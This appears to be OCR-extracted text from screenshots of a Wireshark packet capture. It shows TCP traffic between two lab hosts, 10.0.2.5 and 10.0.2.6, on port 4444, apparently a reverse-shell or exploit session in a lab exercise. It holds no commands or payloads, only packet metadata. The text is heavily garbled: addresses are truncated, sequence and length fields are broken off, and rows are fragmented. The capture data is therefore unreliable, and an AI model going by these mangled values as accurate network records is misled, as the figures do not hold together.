168 2023-11-01 17:41:11.684807209 10.0.2. 10.0.2.6 TCP 14470 4444 > 38891 [PSH, ACK] Seq=58558 Ack=616254 Win=2102272 Len=14416

oo o

169 2023-11-01 17:41:11.684897450 10.0.2. 10.0.2.5 TCP 54 38891 > 4444 [ACK] Seq=616254 Ack=72974 Win=64128 Len=0
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3137390 Ack=4375646 Wil

2576 2023-11-01 17:43:28.890713736 10.0.2.6 .0.2. TCP 54 38891 > 4444 [ACK] Seq

551744 Len=0
2577 2023-11-01 17 8.914272286 10.0.2.5 0.2, TCP 60 4444 > 38891 [FIN, ACK] Seq=4375646 Ack=13137390 Win=2102272 Len=0
2578 2023-11-01 17 8.955158223 10.0.2.6 0.2, TCP 54 38891 > 4444 [ACK] Seq=13137390 Ack=4375647 Win=1551744 Len=0

2581 2023-11-01 17 3.689241215 10.0.2.6 TCP 166 38891 > 4444 [PSH, ACK] Seq=13137390 Ack=4375647 Win=1551744 Le

12
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[tcp.stream eq 0

No. Time Source Destination Protocol  Length Info
1385 2023-11-01 446332 10. 10.0.2 Tcp 54 4444 > 38891 [ACK] Seq=5998 Ack=569174 Win=2092032 Len=0
1386 2023-11-01 446402 10. 10. Tcp 54 [TCP Window Update] 4444 > 38891 [ACK] Seq=5998 Ack=569174 Win=2102272 Len=0
1387 2023-11-01 446474 10. 10. Tcp 1514 38891 > 4444 [ACK] Seq=569174 Ack=5998 Win=64128 Len=1460
1388 2023-11-01 446474 10. 10. Tcp 1514 38891 > [ACK] 998 Win=64128 Lel
1389 2023-11-01 446474 10. 10. Tcp 1514 38891 [ACK] 998 Win=64128 Lel
1390 2023-11-01 446474 10. 10. Tcp 1514 38891 [PSH, ACK] Seq=573554 Ack=5998 Win=64128 Len=1460

1391 2023-11-01
1392 2023-11-01

446474 10.
446474 10.

10.
10.

TCP 1514 38891
TCP 1514 38891

[ACK] Seq=575014 Ack=5998 Win=64128 Len=1460
[ACK] 76474 998 Win=64128 Le

1393 2023-11-01 446474 10. 10. TCP 1514 38891 [ACK] 77934 998 Win=64128 Le
1394 2023-11-01 446474 10. 10. TCP 1514 38891 [ACK] 79394 998 Win=64128
1395 2023-11-01 446474 10. 10. TCP 1514 38891 [ACK] 80854 998 Win=64128
1396 2023-11-01 446474 10. 10. TCP 1514 38891 [ACK] 82314 998 Win=64128
1397 2023-11-01 446474 10. 10. TCP 1514 38891 [ACK] Seq=583774 Ack=5998 Win=64128

1398 2023-11-01 446474 10. 10. TCP 1514 38891 [ACK] Seq=585234 Ack=5998 Win=64128

1399 2023-11-01 446474 10. 10. TCP 1514 38891 [ACK] 86694 998 Win=64128
1400 2023-11-01 446474 10. 10. TCP 1514 38891 [ACK] 998 Win=64128
1401 2023-11-01 446474 10. 10. TCP 1514 38891 [ACK] 998 Win=64128
1402 2023-11-01 446474 10. 10. TCP 1514 38891 [ACK] 998 Win=64128
1403 2023-11-01 446474 10. 10. TCP 1514 38891 [ACK] 998 Win=64128
1404 2023-11-01 446474 10. 10. TCP 1514 38891 [ACK] Seq=593994 Ack=5998 Win=64128

1405 2023-11-01
1406 2023-11-01
1407 2023-11-01
1408 2023-11-01 1:
1409 2023-11-01 1:
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TCP 1514 38891

[ACK] Seq=595454 Ack=5998 Win=64128
[ACK] 998 Win=64128
[ACK] 998 Win=64128
[ACK] Seq=599834 998 Win=64128
[ACK] Seq=601294 998 Win=64128
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